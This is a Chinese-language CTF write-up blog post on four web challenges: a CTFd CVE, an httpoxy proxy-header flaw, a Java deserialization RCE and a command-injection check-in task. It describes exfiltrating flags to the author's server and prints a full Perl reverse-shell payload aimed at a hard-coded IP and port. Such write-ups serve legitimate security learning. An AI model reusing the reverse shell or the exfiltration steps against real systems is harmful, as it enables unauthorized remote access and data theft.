从12点到现在肝了十几个小时 总算是把web做完了
太菜了我 这几个题其实不该花这么久 随机应变的能力很有问题(可能也跟没睡够有关系
不过还是学到了很多东西 赵师傅出的题太强了
顺便膜一下114师傅 两个小时akweb 太顶了

CTFD

ctfd前几天的CVE

参考了这个文章

https://www.colabug.com/2020/0204/6940556/amp/

流程是一致的 就是flag有点难找。。
最后在files里找到了

timetravel

去墙外搜了点关于GuzzleHttp客户端的洞 没搜到什么东西 不过有个httpproxy的洞很引人注目

参考链接:https://httpoxy.org/

https://www.laruence.com/2016/07/19/3101.html

这个漏洞会把header中的proxy的内容注册成环境变量 从而影响了GuzzleHttp

试了下 有大惊喜

尝试给服务一个回显,让它解析json内容


搭在服务器上打一发试试

什么都没发生。。

观察一下怀疑是不是要搭在5000端口
再试亿次

成功了

EasySpringMVC

第一次尝试

javaweb 真的要命。。做的很痛苦

把war下载下来 扫了下源码

虽然没见过 但还是先看看核心的类

这里应该是要越权了

观察cookie的处理
跟一下这个类

分别把

Anonymous normal和cookie传进去了

然后调用了tools类的create方法

没看懂。。 似乎是封装了一个流处理

考虑到cookie直接是base64加密的序列化数据 拿python2试着改了下cookie 直接一发500。。
百度了下发现java的序列化内容不像php的字符串 java的序列化内容是二进制字节 是不能直接篡改文本的
考虑用Java原生生成cookie 就自己写(复制)了个类

伪造cookie之后登上去 上传会发现没有写权限

心 态 爆 炸

第二次尝试

迷茫了一会儿之后去把check in做出来了。。
然后猜测是要打java的反序列化 以为要用框架的洞
后来查了些java反序列化的内容 发现在readObject错误重写的情况下可以rce

https://xz.aliyun.com/t/6787

这才注意到这里的 ProcessBuilder

百度的资料↓

可以给它传字符串数组或者可变参数来执行命令

本地试了下是没有回显的 要考虑带出

然后就是要想办法让readObject读到内容

根据这篇文章可以得知 readObject可以直接读取 writeObject的内容

所以就给Tools类带上一个writeObject的方法


由于Java实在太菜。。序列化的操作直接调用源码里封装好的方法了 外带数据的话 先生成一个sh获得shell再调用curl

要注意的是类的名称和包必须全都跟源码一直 就像php里反序列化时候命名空间也要对上一样

在upload那个页面修改cookie vps nc收到flag

checkin

在dnslog上卡了好久。。 回显太蛋疼了 不符合域名规则的都不会被ping执行 字符数也有限制 base64还莫名其妙会乱码(或许是因为域名只能有大写字母 也不能有符号)总之就是受限制很严重。。利用困难

如果硬要用dnslog的话 这样的payload再加上sed的去符号处理应该是可以一点点把内容读出来的 还是太麻烦(或许可以写个脚本 一次性全跑出来)

后来转念一想 python -c可以直接执行命令 就找了个python弹shell的payload
然后真就弹回来了。。

看了下proc 在一堆里按个试 找到了flag

参考了这个文章

https://lorexxar.cn/2016/12/18/pwnhub-pai/

然后 perl也可以弹

data = {
    "c":"perl -e 'use Socket;$i=\"39.106.207.66\";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &"
}


事后想了下 cat/proc/*/fd/*就行了。。

这道题卡了这么久真是不应该 一直在死怼dnslog 却没想用python弹shell
总之这次还是学到了很多东西
下周就是xctf第一场了 希望能打的好点

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注